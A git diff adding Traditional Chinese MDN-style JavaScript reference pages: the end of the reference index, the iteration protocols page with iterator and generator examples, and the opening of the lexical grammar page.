+   {{JSxRef("Global_Objects/ListFormat", "Intl.ListFormat")}}<br>
+   {{JSxRef("Global_Objects/NumberFormat", "Intl.NumberFormat")}}<br>
+   {{JSxRef("Global_Objects/PluralRules", "Intl.PluralRules")}}<br>
+   {{JSxRef("Global_Objects/RelativeTimeFormat", "Intl.RelativeTimeFormat")}}<br>
+   {{JSxRef("Global_Objects/Locale", "Intl.Locale")}}</p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span>WebAssembly</span>
+
+  <p>{{JSxRef("WebAssembly")}}<br>
+   {{JSxRef("WebAssembly.Module")}}<br>
+   {{JSxRef("WebAssembly.Instance")}}<br>
+   {{JSxRef("WebAssembly.Memory")}}<br>
+   {{JSxRef("WebAssembly.Table")}}<br>
+   {{JSxRef("WebAssembly.CompileError")}}<br>
+   {{JSxRef("WebAssembly.LinkError")}}<br>
+   {{JSxRef("WebAssembly.RuntimeError")}}</p>
+ </li>
+</ul>
+
+<h2 id="敘述句">敘述句</h2>
+
+<p>本章節記錄了所有 <a href="/zh-TW/docs/Web/JavaScript/Reference/Statements">JavaScript 敘述句與宣告</a>。</p>
+
+<ul class="card-grid">
+ <li><span>流程控制</span>{{jsxref("Statements/block", "Block")}}<br>
+  {{jsxref("Statements/break", "break")}}<br>
+  {{jsxref("Statements/continue", "continue")}}<br>
+  {{jsxref("Statements/Empty", "Empty")}}<br>
+  {{jsxref("Statements/if...else", "if...else")}}<br>
+  {{jsxref("Statements/switch", "switch")}}<br>
+  {{jsxref("Statements/throw", "throw")}}<br>
+  {{jsxref("Statements/try...catch", "try...catch")}}</li>
+ <li><span>宣告</span>
+  <p>{{jsxref("Statements/var", "var")}}<br>
+   {{jsxref("Statements/let", "let")}}<br>
+   {{jsxref("Statements/const", "const")}}</p>
+ </li>
+ <li><span>函數與類別</span>
+  <p>{{jsxref("Statements/function", "function")}}<br>
+   {{jsxref("Statements/function*", "function*")}}<br>
+   {{jsxref("Statements/async_function", "async function")}}<br>
+   {{jsxref("Statements/return", "return")}}<br>
+   {{jsxref("Statements/class", "class")}}</p>
+ </li>
+ <li><span>迭代</span>
+  <p>{{jsxref("Statements/do...while", "do...while")}}<br>
+   {{jsxref("Statements/for", "for")}}<br>
+   {{jsxref("Statements/for_each...in", "for each...in")}}<br>
+   {{jsxref("Statements/for...in", "for...in")}}<br>
+   {{jsxref("Statements/for...of", "for...of")}}<br>
+   {{jsxref("Statements/for-await...of", "for await...of")}}<br>
+   {{jsxref("Statements/while", "while")}}</p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span>Other</span>
+
+  <p>{{jsxref("Statements/debugger", "debugger")}}<br>
+   {{jsxref("Statements/import", "import")}}<br>
+   {{jsxref("Statements/label", "label")}}<br>
+   {{jsxref("Statements/with", "with")}}</p>
+ </li>
+</ul>
+
+<h2 id="表示法與運算子">表示法與運算子</h2>
+
+<p>本章節記錄了所有 <a href="/zh-TW/docs/Web/JavaScript/Reference/Operators">JavaScript 表示法與運算子</a>。</p>
+
+<div>
+<ul class="card-grid">
+ <li><span>主要運算式</span>{{JSxRef("Operators/this", "this")}}<br>
+  {{JSxRef("Operators/function", "function")}}<br>
+  {{JSxRef("Operators/class", "class")}}<br>
+  {{JSxRef("Operators/function*", "function*")}}<br>
+  {{JSxRef("Operators/yield", "yield")}}<br>
+  {{JSxRef("Operators/yield*", "yield*")}}<br>
+  {{JSxRef("Operators/async_function", "async function")}}<br>
+  {{JSxRef("Operators/await", "await")}}<br>
+  {{JSxRef("Global_Objects/Array", "[]")}}<br>
+  {{JSxRef("Operators/Object_initializer", "{}")}}<br>
+  {{JSxRef("Global_Objects/RegExp", "/ab+c/i")}}<br>
+  {{JSxRef("Operators/Grouping", "( )")}}<br>
+  {{JSxRef("null")}}</li>
+ <li><span>左手邊運算式</span>
+  <p>{{JSxRef("Operators/Property_accessors", "Property accessors", "", 1)}}<br>
+   {{JSxRef("Operators/new", "new")}}<br>
+   {{JSxRef("Operators/new%2Etarget", "new.target")}}<br>
+   {{JSxRef("Operators/super", "super")}}<br>
+   {{JSxRef("Operators/Spread_syntax", "...obj")}}</p>
+ </li>
+ <li><span>遞增與遞減</span>
+  <p>{{JSxRef("Operators/Arithmetic_Operators", "A++", "#Increment")}}<br>
+   {{JSxRef("Operators/Arithmetic_Operators", "A--", "#Decrement")}}<br>
+   {{JSxRef("Operators/Arithmetic_Operators", "++A", "#Increment")}}<br>
+   {{JSxRef("Operators/Arithmetic_Operators", "--A", "#Decrement")}}</p>
+ </li>
+ <li><span>一元運算子</span>
+  <p>{{JSxRef("Operators/delete", "delete")}}<br>
+   {{JSxRef("Operators/void", "void")}}<br>
+   {{JSxRef("Operators/typeof", "typeof")}}<br>
+   {{JSxRef("Operators/Arithmetic_Operators", "+", "#Unary_plus")}}<br>
+   {{JSxRef("Operators/Arithmetic_Operators", "-", "#Unary_negation")}}<br>
+   {{JSxRef("Operators/Bitwise_Operators", "~", "#Bitwise_NOT")}}<br>
+   {{JSxRef("Operators/Logical_Operators", "!", "#Logical_NOT")}}</p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span>算術運算子</span>
+
+  <p>{{JSxRef("Operators/Arithmetic_Operators", "+", "#Addition")}}<br>
+   {{JSxRef("Operators/Arithmetic_Operators", "-", "#Subtraction")}}<br>
+   {{JSxRef("Operators/Arithmetic_Operators", "/", "#Division")}}<br>
+   {{JSxRef("Operators/Arithmetic_Operators", "*", "#Multiplication")}}<br>
+   {{JSxRef("Operators/Arithmetic_Operators", "%", "#Remainder")}}<br>
+   {{JSxRef("Operators/Arithmetic_Operators", "**", "#Exponentiation")}}</p>
+ </li>
+ <li><span>關係運算子</span>
+  <p>{{JSxRef("Operators/in", "in")}}<br>
+   {{JSxRef("Operators/instanceof", "instanceof")}}<br>
+   {{JSxRef("Operators/Comparison_Operators", "&lt;", "#Less_than_operator")}}<br>
+   {{JSxRef("Operators/Comparison_Operators", "&gt;", "#Greater_than_operator")}}<br>
+   {{JSxRef("Operators/Comparison_Operators", "&lt;=", "#Less_than_or_equal_operator")}}<br>
+   {{JSxRef("Operators/Comparison_Operators", "&gt;=", "#Greater_than_or_equal_operator")}}</p>
+ </li>
+ <li><span>相等運算子</span>
+  <p>{{JSxRef("Operators/Comparison_Operators", "==", "#Equality")}}<br>
+   {{JSxRef("Operators/Comparison_Operators", "!=", "#Inequality")}}<br>
+   {{JSxRef("Operators/Comparison_Operators", "===", "#Identity")}}<br>
+   {{JSxRef("Operators/Comparison_Operators", "!==", "#Nonidentity")}}</p>
+ </li>
+ <li><span>位元移位運算子</span>
+  <p>{{JSxRef("Operators/Bitwise_Operators", "&lt;&lt;", "#Left_shift")}}<br>
+   {{JSxRef("Operators/Bitwise_Operators", "&gt;&gt;", "#Right_shift")}}<br>
+   {{JSxRef("Operators/Bitwise_Operators", "&gt;&gt;&gt;", "#Unsigned_right_shift")}}</p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span>二元位元運算子</span>{{JSxRef("Operators/Bitwise_Operators", "&amp;", "#Bitwise_AND")}}<br>
+  {{JSxRef("Operators/Bitwise_Operators", "|", "#Bitwise_OR")}}<br>
+  {{JSxRef("Operators/Bitwise_Operators", "^", "#Bitwise_XOR")}}</li>
+ <li><span>二元邏輯運算子</span>
+  <p>{{JSxRef("Operators/Logical_Operators", "&amp;&amp;", "#Logical_AND")}}<br>
+   {{JSxRef("Operators/Logical_Operators", "||", "#Logical_OR")}}</p>
+ </li>
+ <li><span>條件(三元)運算子</span>
+  <p>{{JSxRef("Operators/Conditional_Operator", "(condition ? ifTrue : ifFalse)")}}</p>
+ </li>
+ <li><span>賦值運算子</span>
+  <p>{{JSxRef("Operators/Assignment_Operators", "=", "#Assignment")}}<br>
+   {{JSxRef("Operators/Assignment_Operators", "*=", "#Multiplication_assignment")}}<br>
+   {{JSxRef("Operators/Assignment_Operators", "/=", "#Division_assignment")}}<br>
+   {{JSxRef("Operators/Assignment_Operators", "%=", "#Remainder_assignment")}}<br>
+   {{JSxRef("Operators/Assignment_Operators", "+=", "#Addition_assignment")}}<br>
+   {{JSxRef("Operators/Assignment_Operators", "-=", "#Subtraction_assignment")}}<br>
+   {{JSxRef("Operators/Assignment_Operators", "&lt;&lt;=", "#Left_shift_assignment")}}<br>
+   {{JSxRef("Operators/Assignment_Operators", "&gt;&gt;=", "#Right_shift_assignment")}}<br>
+   {{JSxRef("Operators/Assignment_Operators", "&gt;&gt;&gt;=", "#Unsigned_right_shift_assignment")}}<br>
+   {{JSxRef("Operators/Assignment_Operators", "&amp;=", "#Bitwise_AND_assignment")}}<br>
+   {{JSxRef("Operators/Assignment_Operators", "^=", "#Bitwise_XOR_assignment")}}<br>
+   {{JSxRef("Operators/Assignment_Operators", "|=", "#Bitwise_OR_assignment")}}<br>
+   {{JSxRef("Operators/Destructuring_assignment", "[a, b] = [1, 2]")}}<br>
+   {{JSxRef("Operators/Destructuring_assignment", "{a, b} = {a:1, b:2}")}}</p>
+ </li>
+</ul>
+</div>
+
+<h2 id="函數">函數</h2>
+
+<p>本章節說明如何使用 <a href="/zh-TW/docs/Web/JavaScript/Reference/Functions">JavaScript 函數</a> 來開發您的應用程式。</p>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Functions/arguments"><code>arguments</code></a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Functions/Default_parameters">Default parameters</a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Functions/rest_parameters">Rest parameters</a></li>
+</ul>
+
+<h2 id="其他參考頁面">其他參考頁面</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Lexical_grammar">Lexical grammar</a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Data_structures">Data types and data structures</a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Strict_mode">Strict mode</a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features">Deprecated features</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/iteration_protocols/index.html b/files/zh-tw/web/javascript/reference/iteration_protocols/index.html
new file mode 100644
index 0000000000..707da81524
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/iteration_protocols/index.html
@@ -0,0 +1,351 @@
+---
+title: 迭代協議
+slug: Web/JavaScript/Reference/Iteration_protocols
+tags:
+  - ECMAScript 2015
+  - Intermediate
+  - Iterator
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Iteration_protocols
+---
+<div>{{jsSidebar("More")}}</div>
+
+<p>為 ECMAScript 2015 中的一些補充內容，並非新的內建物件或語法，而是協議。這些協議可被任何遵守特定協定的物件所實作。</p>
+
+<p>本文介紹兩種協議：<a href="#The_iterable_protocol">可迭代協議（iterable protocol）</a>以及<a href="#The_iterator_protocol">迭代器協議（iterator protocol）</a>。</p>
+
+<h2 id="可迭代協議">可迭代協議</h2>
+
+<p><strong>可迭代（iterable）</strong>協議允許 JavaScript 物件定義或客制他們的迭代行為，例如哪些值可在 {{jsxref("Statements/for...of", "for..of")}} 語法結構中被迭代出來。部分內建型別為擁有預設迭代行為的<a href="#Built-in_iterables">可迭代內建物件（built-in iterables）</a>，如 {{jsxref("Array")}} 或 {{jsxref("Map")}}，而其他型別（如 {{jsxref("Object")}}）則否。</p>
+
+<p>為了成為<strong>可迭代的（iterable）</strong>，一個物件必須實作 <strong>@@iterator</strong> 方法，意思是這個物件（或其<a href="/zh-TW/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">原型鏈</a>中的其中一個原型物件）必須擁有一個鍵（key）值為 <strong>@@iterator</strong>（即 {{jsxref("Symbol.iterator")}} 常數）的屬性：</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">屬性</th>
+   <th scope="col">值</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>[Symbol.iterator]</code></td>
+   <td>回傳符合<a href="#The_iterator_protocol">迭代器協議（iterator protocol）</a>之物件的無引數函式。</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>每當物件需要被迭代時（比如在一個開始的 <code>for..of</code> 迴圈中），物件的 <code>@@iterator</code> 方法會被以不傳入引數的方式呼叫，並會使用其回傳的<strong>迭代器（iterator）</strong>來獲得被迭代出來的值。</p>
+
+<h2 id="迭代器協議">迭代器協議</h2>
+
+<p><strong>迭代器（iterator）</strong>協議定義了一個標準方式來產出一連串（有限或無限）的值，並且可能於所有值都被產出後回傳一個值。</p>
+
+<p>當物件以下列語義實作了 <code><strong>next()</strong></code> 方法即為一個迭代器：</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">屬性</th>
+   <th scope="col">值</th>
+  </tr>
+  <tr>
+   <td><code>next</code></td>
+   <td>
+    <p>回傳一個至少擁有以下兩個屬性之物件的無引數函式：</p>
+
+    <ul>
+     <li><code>done</code>（布林值）
+
+      <ul>
+       <li>若迭代器已迭代完畢整個可迭代序列，則值為 <code>true</code>。在這個情況下 <code>value</code> 可以是代表迭代器的<em>回傳值</em>。</li>
+       <li>若迭代器能夠產出序列中的下一個值，則值為 <code>false</code>。相當於完全不指定 <code>done</code> 屬性。</li>
+      </ul>
+     </li>
+     <li><code>value</code> - 任何由迭代器所回傳的 JavaScript 值。可於 <code>done</code> 為 <code>true</code> 時省略。</li>
+    </ul>
+
+    <p><code>next</code> 方法必須總是回傳一個包含符合 <code>done</code> 及 <code>value</code> 屬性的物件。假如回傳了一個非物件值（如 <code>false</code> 或 <code>undefined</code>），則將會拋出一個 {{jsxref("TypeError")}} 錯誤。</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p>我們無法反射性的一眼看出一個特定的物件是否實作了迭代器協議，然而要建立一個同時滿足迭代器及可迭代協議的物件卻是相當容易（如下例所示）。範例的做法允許一個迭代器被各個預期其可迭代行為的語法所消費。因此很少有需要實作迭代器協議而沒有實作可迭代協議的情況。</p>
+
+<pre class="brush: js">var myIterator = {
+    next: function() {
+        // ...
+    },
+    [Symbol.iterator]: function() { return this }
+};
+</pre>
+</div>
+
+<h2 id="迭代協議使用範例">迭代協議使用範例</h2>
+
+<p>{{jsxref("String")}} 為一個可迭代內建物件（built-in iterable object）的範例：</p>
+
+<pre class="brush: js">var someString = 'hi';
+typeof someString[Symbol.iterator];          // "function"
+</pre>
+
+<p><code>String</code> 的<a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/String/@@iterator">預設迭代器</a>會回傳字串中的一個一個字元：</p>
+
+<pre class="brush: js">var iterator = someString[Symbol.iterator]();
+iterator + '';                               // "[object String Iterator]"
+
+iterator.next();                             // { value: "h", done: false }
+iterator.next();                             // { value: "i", done: false }
+iterator.next();                             // { value: undefined, done: true }</pre>
+
+<p>部分內建語法結構（built-in constructs），如 <a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread syntax</a>，其內部也使用了相同的迭代協議：</p>
+
+<pre class="brush: js">[...someString]                              // ["h", "i"]</pre>
+
+<p>我們可以藉由提供我們自己的 <code>@@iterator</code> 來重新定義迭代行為：</p>
+
+<pre class="brush: js">var someString = new String('hi');           // need to construct a String object explicitly to avoid auto-boxing
+
+someString[Symbol.iterator] = function() {
+  return { // this is the iterator object, returning a single element, the string "bye"
+    next: function() {
+      if (this._first) {
+        this._first = false;
+        return { value: 'bye', done: false };
+      } else {
+        return { done: true };
+      }
+    },
+    _first: true
+  };
+};
+</pre>
+
+<p>請注意，重新定義 <code>@@iterator</code> 會影響使用迭代協議之內建語法結構的行為：</p>
+
+<pre class="brush: js">[...someString];                             // ["bye"]
+someString + '';                             // "hi"
+</pre>
+
+<h2 id="可迭代範例">可迭代範例</h2>
+
+<h3 id="可迭代內建物件">可迭代內建物件</h3>
+
+<p>{{jsxref("String")}}、{{jsxref("Array")}}、{{jsxref("TypedArray")}}、{{jsxref("Map")}} 以及 {{jsxref("Set")}} 全都是可迭代內建物件，因為他們每一個的原型物件皆實作了 <code>@@iterator</code> 方法。</p>
+
+<h3 id="自定義可迭代物件">自定義可迭代物件</h3>
+
+<p>我們可以建立自己的可迭代物件，像是：</p>
+
+<pre class="brush: js">var myIterable = {};
+myIterable[Symbol.iterator] = function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+};
+[...myIterable]; // [1, 2, 3]
+</pre>
+
+<h3 id="接受可迭代物件的內建_APIs">接受可迭代物件的內建 APIs</h3>
+
+<p>有許多 APIs 接受可迭代物件，如：{{jsxref("Map", "Map([iterable])")}}、{{jsxref("WeakMap", "WeakMap([iterable])")}}、{{jsxref("Set", "Set([iterable])")}} 及 {{jsxref("WeakSet", "WeakSet([iterable])")}}：</p>
+
+<pre class="brush: js">var myObj = {};
+new Map([[1, 'a'], [2, 'b'], [3, 'c']]).get(2);               // "b"
+new WeakMap([[{}, 'a'], [myObj, 'b'], [{}, 'c']]).get(myObj); // "b"
+new Set([1, 2, 3]).has(3);                               // true
+new Set('123').has('2');                                 // true
+new WeakSet(function* () {
+    yield {};
+    yield myObj;
+    yield {};
+}()).has(myObj);                                         // true
+</pre>
+
+<p>另外可參考 {{jsxref("Promise.all", "Promise.all(iterable)")}}、{{jsxref("Promise.race", "Promise.race(iterable)")}} 以及 {{jsxref("Array.from", "Array.from()")}}。</p>
+
+<h3 id="用於可迭代物件的語法">用於可迭代物件的語法</h3>
+
+<p>部分陳述式（statements）及運算式（expressions）為預期用於可迭代物件，例如 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/for...of">for-of</a></code> 迴圈、<a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread syntax</a>、<code><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/yield*">yield*</a></code>，及<a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">解構賦值</a>：</p>
+
+<pre class="brush: js">for(let value of ['a', 'b', 'c']){
+    console.log(value);
+}
+// "a"
+// "b"
+// "c"
+
+[...'abc']; // ["a", "b", "c"]
+
+function* gen() {
+  yield* ['a', 'b', 'c'];
+}
+
+gen().next(); // { value:"a", done:false }
+
+[a, b, c] = new Set(['a', 'b', 'c']);
+a // "a"
+
+</pre>
+
+<h3 id="非良好的（Non-well-formed）可迭代物件">非良好的（Non-well-formed）可迭代物件</h3>
+
+<p>假如可迭件物件的 <code>@@iterator</code> 方法不是回傳一個迭代器物件，即是非良好的（non-well-formed）可迭代物件。如以下方式使用可能會導致執行時期異常或錯誤行為：</p>
+
+<pre class="brush: js">var nonWellFormedIterable = {}
+nonWellFormedIterable[Symbol.iterator] = () =&gt; 1
+[...nonWellFormedIterable] // TypeError: [] is not a function
+</pre>
+
+<h2 id="迭代器範例">迭代器範例</h2>
+
+<h3 id="簡單的迭代器">簡單的迭代器</h3>
+
+<pre class="brush: js">function makeIterator(array) {
+    var nextIndex = 0;
+
+    return {
+       next: function() {
+           return nextIndex &lt; array.length ?
+               {value: array[nextIndex++], done: false} :
+               {done: true};
+       }
+    };
+}
+
+var it = makeIterator(['yo', 'ya']);
+
+console.log(it.next().value); // 'yo'
+console.log(it.next().value); // 'ya'
+console.log(it.next().done);  // true
+</pre>
+
+<h3 id="無限迭代器">無限迭代器</h3>
+
+<pre class="brush: js">function idMaker() {
+    var index = 0;
+
+    return {
+       next: function(){
+           return {value: index++, done: false};
+       }
+    };
+}
+
+var it = idMaker();
+
+console.log(it.next().value); // '0'
+console.log(it.next().value); // '1'
+console.log(it.next().value); // '2'
+// ...
+</pre>
+
+<h3 id="搭配生成器（generator）">搭配生成器（generator）</h3>
+
+<pre class="brush: js">function* makeSimpleGenerator(array) {
+    var nextIndex = 0;
+
+    while (nextIndex &lt; array.length) {
+        yield array[nextIndex++];
+    }
+}
+
+var gen = makeSimpleGenerator(['yo', 'ya']);
+
+console.log(gen.next().value); // 'yo'
+console.log(gen.next().value); // 'ya'
+console.log(gen.next().done);  // true
+
+
+
+function* idMaker() {
+    var index = 0;
+    while (true)
+        yield index++;
+}
+
+var gen = idMaker();
+
+console.log(gen.next().value); // '0'
+console.log(gen.next().value); // '1'
+console.log(gen.next().value); // '2'
+// ...
+</pre>
+
+<h3 id="搭配_ES2015_類別">搭配 ES2015 類別</h3>
+
+<pre class="brush: js">class SimpleClass {
+  constructor(data) {
+    this.index = 0;
+    this.data = data;
+  }
+
+  [Symbol.iterator]() {
+    return {
+      next: () =&gt; {
+        if (this.index &lt; this.data.length) {
+          return {value: this.data[this.index++], done: false};
+        } else {
+          this.index = 0; //If we would like to iterate over this again without forcing manual update of the index
+          return {done: true};
+        }
+      }
+    }
+  };
+}
+
+const simple = new SimpleClass([1,2,3,4,5]);
+
+for (const val of simple) {
+  console.log(val);  //'0' '1' '2' '3' '4' '5'
+}
+</pre>
+
+<h2 id="生成器物件是迭代器還是可迭代物件？">生成器物件是迭代器還是可迭代物件？</h2>
+
+<p><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Generator">生成器物件（generator object）</a>同時為迭代器及可迭代物件：</p>
+
+<pre class="brush: js">var aGeneratorObject = function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+}();
+typeof aGeneratorObject.next;
+// "function", because it has a next method, so it's an iterator
+typeof aGeneratorObject[Symbol.iterator];
+// "function", because it has an @@iterator method, so it's an iterable
+aGeneratorObject[Symbol.iterator]() === aGeneratorObject;
+// true, because its @@iterator method returns itself (an iterator), so it's an well-formed iterable
+[...aGeneratorObject];
+// [1, 2, 3]
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-iteration', 'Iteration')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-iteration', 'Iteration')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>更多關於 ES2015 生成器（generators）的資訊，可參考<a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/function*">生成器函式 function* 文件</a>。</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/lexical_grammar/index.html b/files/zh-tw/web/javascript/reference/lexical_grammar/index.html
new file mode 100644
index 0000000000..80c760f20c
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/lexical_grammar/index.html
@@ -0,0 +1,548 @@
+---
+title: Lexical grammar
+slug: Web/JavaScript/Reference/Lexical_grammar
+translation_of: Web/JavaScript/Reference/Lexical_grammar
+---
+<div>
+<p>{{JsSidebar("More")}}</p>
+
+<p>此篇介紹 Javascript 的lexical grammar。ECMAScript 的原始碼從左到右被掃描並被轉換成一系列的輸入元素也就是 token、控制字元、行終止字元、註解或是空白字元。ECMAScript 也定義了一些特定的關鍵字和實體語法還有用來自動插入分號來結束陳述式的規則。</p>
+
+<h2 id="控制字元">控制字元</h2>
+
+<p>控制字元是用來控制對文本的解釋，但無法被顯示出來。</p>
+
+<table class="standard-table">
+ <caption>Unicode 格式的控制字元</caption>
+ <tbody>
+  <tr>
+   <th><strong>編碼位置</strong></th>
+   <th>名稱</th>
+   <th>縮寫</th>
+   <th>說明</th>
+  </tr>
+  <tr>
+   <td><code>U+200C</code></td>
+   <td>零寬不連字</td>
+   <td>&lt;ZWNJ&gt;</td>
+   <td>放置在兩個字元之間來避免在某些語言中這兩個字元被當成連字 (<a href="http://en.wikipedia.org/wiki/Zero-width_non-joiner">Wikipedia</a>)</td>
+  </tr>
+  <tr>
+   <td><code>U+200D</code></td>
+   <td>零寬連字</td>
+   <td>&lt;ZWJ&gt;</td>
+   <td>放置在兩個通常不會發生連字的字元中間在某些語言<br>
+    來讓他們成為連字 (<a href="http://en.wikipedia.org/wiki/Zero-width_joiner">Wikipedia</a>)</td>
+  </tr>
+  <tr>
+   <td><code>U+FEFF</code></td>
+   <td>位元組順序記號</td>
+   <td>&lt;BOM&gt;</td>
+   <td>出現在腳本的開頭，用來標記此腳本是否為Unicode還有文本的位元組順序<br>
+     (<a href="http://en.wikipedia.org/wiki/Byte_order_mark">Wikipedia</a>)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="空白字元">空白字元</h2>
+
+<p>空白字元提升了程式碼的可讀性也能將 tokens 分開。這些字元通常對程式的執行是不必要的。<a href="http://en.wikipedia.org/wiki/Minification_%28programming%29">壓縮源碼工具</a>通常會移除不必要的空白來減少資料傳輸量。</p>
+
+<table class="standard-table">
+ <caption>空白字元</caption>
+ <tbody>
+  <tr>
+   <th><strong>編碼位置</strong></th>
+   <th>名稱</th>
+   <th>縮寫</th>
+   <th>說明</th>
+   <th>跳脫字元</th>
+  </tr>
+  <tr>
+   <td>U+0009</td>
+   <td>定位字元</td>
+   <td>&lt;HT&gt;</td>
+   <td>橫向定位字元</td>
+   <td>\t</td>
+  </tr>
+  <tr>
+   <td>U+000B</td>
+   <td>縱向定位字元</td>
+   <td>&lt;VT&gt;</td>
+   <td>縱向定位字元</td>
+   <td>\v</td>
+  </tr>
+  <tr>
+   <td>U+000C</td>
+   <td>換頁字元</td>
+   <td>&lt;FF&gt;</td>
+   <td>控制換頁字元 (<a href="http://en.wikipedia.org/wiki/Page_break#Form_feed">Wikipedia</a>)</td>
+   <td>\f</td>
+  </tr>
+  <tr>
+   <td>U+0020</td>
+   <td>空格</td>
+   <td>&lt;SP&gt;</td>
+   <td>一般的空白字元</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>U+00A0</td>
+   <td>不中斷空格</td>
+   <td>&lt;NBSP&gt;</td>
+   <td>一般的空白字元，但禁止自動換行或合併多個空白 (<a href="https://en.wikipedia.org/wiki/Non-breaking_space">Wikipedia</a>)</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>其他</td>
+   <td>其他Unicode空白字元</td>
+   <td>&lt;USP&gt;</td>
+   <td><a href="http://en.wikipedia.org/wiki/Space_%28punctuation%29#Spaces_in_Unicode">Wikipedia</a></td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="行終止字元">行終止字元</h2>
+
+<p>除了空白字元之外，行終止字元也用來提升源碼可讀性。然而，在某些情況下行終止字元會影響 Javascript 程式的執行，所以有些地方是被禁止使用的。行終止字元同時也會影響<a href="#Automatic_semicolon_insertion">自動插入分號</a>的運作。在<a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">正規表達式</a>中，行終止字元屬於 <strong>\s</strong> 的類別。</p>
+
+<p>在 ECMAScript 中，只有以下的Unicode碼位被視為行終止字元，其他如 Next Line, NEL, U+0085 等的行終止字元被視為空白字元。</p>
+
+<table class="standard-table">
+ <caption>行終止字元</caption>
+ <tbody>
+  <tr>
+   <th><strong>編碼位置</strong></th>
+   <th>名稱</th>
+   <th>縮寫</th>
+   <th>說明</th>
+   <th>跳脫字元</th>
+  </tr>
+  <tr>
+   <td>U+000A</td>
+   <td>換行字元</td>
+   <td>&lt;LF&gt;</td>
+   <td>在 UNIX 類的系統中的換行字元</td>
+   <td>\n</td>
+  </tr>
+  <tr>
+   <td>U+000D</td>
+   <td>歸位字元</td>
+   <td>&lt;CR&gt;</td>
+   <td>在 Commodore 與早期的 Mac 系統中的換行字元</td>
+   <td>\r</td>
+  </tr>
+  <tr>
+   <td>U+2028</td>
+   <td>行分隔字元</td>
+   <td>&lt;LS&gt;</td>
+   <td><a href="http://en.wikipedia.org/wiki/Newline">Wikipedia</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>U+2029</td>
+   <td>段分隔字元</td>
+   <td>&lt;PS&gt;</td>
+   <td><a href="http://en.wikipedia.org/wiki/Newline">Wikipedia</a></td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="註解">註解</h2>
+
+<p>在 Javascript 程式中，註解通常被用來寫提示、註釋、建議或警告。這可以讓程式更好讀也更好理解，同時也是一個很好的除錯工具，可以讓一些程式碼不被執行。</p>
+
+<p>Javascript 有兩種方式寫註解。</p>
+
+<p>第一種是 <code>//</code>; 它將在它之後的文本變成註解。例如：</p>
+
+<pre class="brush: js">function comment() {
+  // 這是一行 Javascript 註解
+  console.log('Hello world!');
+}
+comment();
+</pre>
+
+<p>第二種更有彈性的方式是 <code>/* */</code> 。</p>
+
+<p>例如，你可以將它用在單行上：</p>
+
+<pre class="brush: js">function comment() {
+  /* 這是一行 Javascript 註解 */
+  console.log('Hello world!');
+}
+comment();</pre>
+
+<p>你也可以將它用來寫多行註解：</p>
+
+<pre class="brush: js">function comment() {
+  /* 這個註解可以跨越多行。注意只有當我們要結束註解時才寫
+     多行註解的終止符號 */
+  console.log('Hello world!');
+}
+comment();</pre>
+
+<p>如果你想要你也可以把它插在一行的中央，雖然它會讓你的程式變得難讀所以請謹慎使用：</p>
+
+<pre class="brush: js">function comment(x) {
+  console.log('Hello ' + x /* 插入 x 的值 */ + ' !');
+}
+comment('world');</pre>
+
+<p>此外，你也可以把一段程式用註解包起來讓它不被執行：</p>
+
+<pre class="brush: js">function comment() {
+  /* console.log('Hello world!'); */
+}
+comment();</pre>
+
+<p>在這個情況， <code>console.log()</code> 永遠不會被呼叫因為它在註解裡面。任意行數的程式碼都可以用這個方法來使之失去作用。</p>
+
+<h2 id="保留字">保留字</h2>
+
+<h3 id="ECMAScript_2015_保留關鍵字">ECMAScript 2015 保留關鍵字</h3>
+
+<ul class="threecolumns">
